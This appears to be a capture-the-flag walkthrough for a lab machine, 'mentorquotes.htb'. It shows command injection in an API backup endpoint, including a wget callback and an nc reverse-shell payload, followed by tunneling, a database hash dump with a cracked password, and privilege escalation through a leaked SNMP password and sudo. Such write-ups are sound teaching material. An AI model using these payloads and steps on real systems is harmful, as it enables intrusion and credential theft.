Enumeration
Rustscan
Copy mkdir rust ; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.84.190 -- -sV -sC -oA ./rust/{{ip}}
Copy Open 10.129.84.190:22
Open 10.129.84.190:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux ; protocol 2.0 )
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| _http-title: Did not follow redirect to http://mentorquotes.htb/
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: mentorquotes.htb ; OS: Linux ; CPE: cpe:/o:linux:linux_kernel
Subdomains
Copy ffuf -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -u http://mentorquotes.htb -H "Host: FUZZ.mentorquotes.htb" -o subs.json -mc all -fw 18
Copy api [Status: 404, Size: 22, Words: 2, Lines: 1, Duration: 98ms]
Dirsearch
Copy dirsearch -u http://api.mentorquotes.htb/
Copy [00:53:07] 307 - 0B - /admin - > http://api.mentorquotes.htb/admin/
[00:53:07] 422 - 186B - /admin/ ? /login
[00:53:07] 422 - 186B - /admin/
[00:53:07] 307 - 0B - /admin/backup/ - > http://api.mentorquotes.htb/admin/backup
[00:53:17] 405 - 31B - /auth/login
[00:53:24] 200 - 969B - /docs
[00:53:24] 307 - 0B - /docs/ - > http://api.mentorquotes.htb/docs
[00:53:49] 403 - 285B - /server-status
[00:53:49] 403 - 285B - /server-status/
[00:53:56] 307 - 0B - /users - > http://api.mentorquotes.htb/users/
[00:53:56] 307 - 0B - /users/admin - > http://api.mentorquotes.htb/users/admin/
[00:53:56] 422 - 186B - /users/
[00:53:56] 307 - 0B - /users/login - > http://api.mentorquotes.htb/users/login/
Create a new user
If you check http://api.mentorquotes.htb/docs/ you'll see that the authors user name seems to be james and his mailaddress is james@mentorquotes.htb
We will use james as username with a different address to get access to any admin endpoint.
Copy curl -X 'POST' \
'http://api.mentorquotes.htb/auth/signup' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
"email": "james1@mentorquotes.htb",
"username": "james",
"password": "password"
}'
Sign In
Copy curl -X 'POST' \
'http://api.mentorquotes.htb/auth/login' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
"email": "james1@mentorquotes.htb",
"username": "james",
"password": "password"
}' > token
Our Access Token
Copy eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48
Admin Endpoint
We discovered http://api.mentorquotes.htb/admin/backup using dirsearch before.
Missing body
Copy curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48'
Copy { "detail" : [{ "loc" : [ "body" ] , "msg" : "field required" , "type" : "value_error.missing" }]}
Missing path
Copy curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48' -d '{ "body": "a" }'
Copy { "detail" : [{ "loc" : [ "body" , "path" ] , "msg" : "field required" , "type" : "value_error.missing" }]}
Finally
Copy curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48' -d '{ "body": "a", "path": "b" }'
Command Injection
Poking around didn't show any results that are interesting. Assuming that this endpoints is being used to get or create backups we will check for Command Injections.
Copy # Setup python server to check for callbacks
python -m http.server 80
Copy # Try to trick the server into using wget to contact us
curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48' -d '{ "body": "a", "path": ";wget 10.10.14.75" }'
We got a callback to our http.server
Shell
Copy rlwrap -cAr nc -lvnp 4000
Copy curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48' -d '{ "body": "a", "path": "`nc 10.10.14.75 4000 -e sh`" }'
Local Enum
Copy ls -al
total 9044
drwxr-xr-x 1 root root 4096 Dec 12 00:58 .
drwxr-xr-x 1 root root 4096 Nov 10 16:00 ..
-rw-r--r-- 1 root root 1024 Jun 12 2022 .Dockerfile.swp
-rw-r--r-- 1 root root 522 Nov 3 12:58 Dockerfile
drwxr-xr-x 1 root root 4096 Dec 12 00:54 app
Within the app directory we'll find a file called db.py which will indicate that a postgres db is running on IP 172.22.0.1.
Copy # Database url if none is passed the default one is used
DATABASE_URL = os . getenv ( "DATABASE_URL" , "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db" )
Priv Esc
Postgres
We will setup chisel for portfowarding/tunneling and check the database
Copy # Client
./chisel_lnx server -p 8001 --reverse
# Target
./chisel_lnx client 10.10.14.75:8001 R:1080:socks
We will find two interesting password hashes within the mentorquotes db. One can be cracked!
Copy proxychains -q psql -h 172.22.0.1 -d mentorquotes_db -U postgres
psql (14.4 (Debian 14.4-1+b1 ), Server 13.7 ( Debian 13.7-1.pgdg110+1 ))
Geben Sie »help« für Hilfe ein.
mentorquotes_db = # \d
Liste der Relationen
Schema | Name | Typ | Eigentümer
--------+---------------+---------+------------
public | cmd_exec | Tabelle | postgres
public | quotes | Tabelle | postgres
public | quotes_id_seq | Sequenz | postgres
public | users | Tabelle | postgres
public | users_id_seq | Sequenz | postgres
( 5 Zeilen )
mentorquotes_db = # select * from users;
id | email | username | password
----+-------------------------+-------------+----------------------------------
1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
( 4 Zeilen )
53f22d0dfa10dce7e29cd31f4f953fd8 = 123meunomeeivani
SSH Access
We can use svc:123meunomeeivani to access the main server.
User: James
Since there was no obvious way for privilege escalation to root we started checking for basic things like passwords that has been set somewhere and could be accessed by anyone
Copy grep -Hrni "pass" /etc
Copy /etc/snmp/snmpd.conf:78:# createUser username (MD5 | SHA | SHA-512 | SHA-384 | SHA-256 | SHA-224 ) authpassphrase [DES | AES] [privpassphrase]
/etc/snmp/snmpd.conf:92:createUser bootstrap MD5 SuperSecurePassword123__ DES
Using the password SuperSecurePassword123__ we are able to become james
Root
Copy james@mentor:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
env_reset, mail_badpass, secure_path=/usr/local/sbin \: /usr/local/bin \: /usr/sbin \: /usr/bin \: /sbin \: /bin \: /snap/bin, use_pty
User james may run the following commands on mentor:
( ALL ) /bin/sh